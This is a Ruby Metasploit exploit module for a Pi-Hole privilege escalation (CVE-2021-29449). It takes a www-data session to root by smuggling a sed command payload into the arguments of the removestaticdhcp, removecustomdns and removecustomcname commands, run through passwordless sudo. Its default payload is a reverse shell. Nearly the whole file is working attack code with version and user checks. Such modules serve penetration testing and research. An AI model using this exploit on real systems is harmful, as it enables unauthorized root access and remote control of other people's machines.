159 lines
5.3 KiB
Ruby
159 lines
5.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = GreatRanking
|
|
|
|
# includes: is_root?
|
|
include Msf::Post::Linux::Priv
|
|
# includes writable?, upload_file, upload_and_chmodx, exploit_data
|
|
include Msf::Post::File
|
|
# for whoami
|
|
include Msf::Post::Unix
|
|
# for get_session_pid needed by whoami
|
|
include Msf::Post::Linux::System
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Pi-Hole Remove Commands Linux Priv Esc',
|
|
'Description' => %q{
|
|
Pi-Hole versions 3.0 - 5.3 allows for command line input to the removecustomcname,
|
|
removecustomdns, and removestaticdhcp functions without properly validating
|
|
the parameters before passing to sed. When executed as the www-data user,
|
|
this allows for a privilege escalation to root since www-data is in the
|
|
sudoers.d/pihole file with no password.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die', # msf module
|
|
'Emanuele Barbeno <emanuele.barbeno[at]compass-security.com>' # original PoC, analysis
|
|
],
|
|
'Platform' => [ 'unix', 'linux' ],
|
|
'Arch' => [ ARCH_CMD ],
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_php_ssl' },
|
|
'Payload' => {
|
|
'BadChars' => "\x27" # '
|
|
},
|
|
'Privileged' => true,
|
|
'References' => [
|
|
[ 'URL', 'https://github.com/pi-hole/pi-hole/security/advisories/GHSA-3597-244c-wrpj' ],
|
|
[ 'URL', 'https://www.compass-security.com/fileadmin/Research/Advisories/2021-02_CSNC-2021-008_Pi-hole_Privilege_Escalation.txt' ],
|
|
[ 'CVE', '2021-29449' ]
|
|
],
|
|
'DisclosureDate' => '2021-04-20',
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
|
|
},
|
|
'Targets' => [
|
|
['DHCP', { 'min' => Rex::Version.new('3.0') }], # exploitable by default, expecially when combined with unix/http/pihole_dhcp_mac_exec
|
|
['DNS', { 'min' => Rex::Version.new('5.0') }],
|
|
['CNAME', { 'min' => Rex::Version.new('5.1') }],
|
|
],
|
|
'DefaultTarget' => 0
|
|
)
|
|
)
|
|
end
|
|
|
|
def sudo_pihole
|
|
'sudo -n /usr/local/bin/pihole -a'
|
|
end
|
|
|
|
def pihole_version
|
|
version = cmd_exec('sudo -n /usr/local/bin/pihole -v')
|
|
/Pi-hole version is v([^ ]+)/ =~ version
|
|
Rex::Version.new(Regexp.last_match(1))
|
|
end
|
|
|
|
def check
|
|
w = whoami
|
|
print_status("Current user: #{w}")
|
|
v = pihole_version
|
|
print_status("Pi-hole version: #{v}")
|
|
unless v.between?(target['min'], Rex::Version.new('5.3'))
|
|
return CheckCode::Safe("Pi-Hole version #{v} is >= 5.3 and not vulnerable")
|
|
end
|
|
unless w == 'www-data'
|
|
return CheckCode::Safe("User must be www-data, currently #{w}")
|
|
end
|
|
|
|
CheckCode::Appears("Pi-Hole #{v} with user #{w} is vulnerable and exploitable")
|
|
end
|
|
|
|
def method_dhcp
|
|
f = '/etc/dnsmasq.d/04-pihole-static-dhcp.conf'
|
|
if !file?(f) || read_file(f).empty?
|
|
mac = Faker::Internet.mac_address
|
|
ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
|
|
print_status("Adding static DHCP #{mac} #{ip}")
|
|
cmd_exec("#{sudo_pihole} addstaticdhcp '#{mac}' '#{ip}'")
|
|
end
|
|
unless file?(f)
|
|
print_error("Config file not found: #{f}")
|
|
return
|
|
end
|
|
print_good("#{f} found!")
|
|
print_status('Executing payload against removestaticdhcp command')
|
|
cmd_exec("#{sudo_pihole} removestaticdhcp 'a/d ; 1e #{payload.encoded} ; /'")
|
|
if mac
|
|
cmd_exec("#{sudo_pihole} removestaticdhcp '#{mac}'")
|
|
end
|
|
end
|
|
|
|
def method_dns
|
|
f = '/etc/pihole/custom.list'
|
|
if !file?(f) || read_file(f).empty?
|
|
name = Faker::Internet.domain_name
|
|
ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
|
|
print_status("Adding DNS entry #{name} #{ip}")
|
|
cmd_exec("#{sudo_pihole} addcustomdns '#{ip}' '#{name}'")
|
|
end
|
|
unless file?(f)
|
|
print_error("Config file not found: #{f}")
|
|
return
|
|
end
|
|
print_good("#{f} found!")
|
|
print_status('Executing payload against removecustomdns command')
|
|
cmd_exec("#{sudo_pihole} removecustomdns 'a/d ; 1e #{payload.encoded} ; /'")
|
|
if name
|
|
cmd_exec("#{sudo_pihole} removecustomdns '#{ip}' '#{name}'")
|
|
end
|
|
end
|
|
|
|
def method_cname
|
|
f = '/etc/dnsmasq.d/05-pihole-custom-cname.conf'
|
|
if !file?(f) || read_file(f).empty?
|
|
name = "#{rand_text_alphanumeric(8..12)}.edu"
|
|
print_status("Adding CNAME entry #{name}")
|
|
cmd_exec("#{sudo_pihole} addcustomcname '#{name}' '#{name}'")
|
|
end
|
|
unless file?(f)
|
|
print_error("Config file not found: #{f}")
|
|
return
|
|
end
|
|
print_good("#{f} found!")
|
|
print_status('Executing payload against removecustomcname command')
|
|
cmd_exec("#{sudo_pihole} removecustomcname 'a/d ; 1e #{payload.encoded} ; /'")
|
|
if name
|
|
cmd_exec("#{sudo_pihole} removecustomcname '#{name}' '#{name}'")
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
if target.name == 'DHCP'
|
|
method_dhcp
|
|
elsif target.name == 'DNS'
|
|
method_dns
|
|
elsif target.name == 'CNAME'
|
|
method_cname
|
|
end
|
|
end
|
|
end
|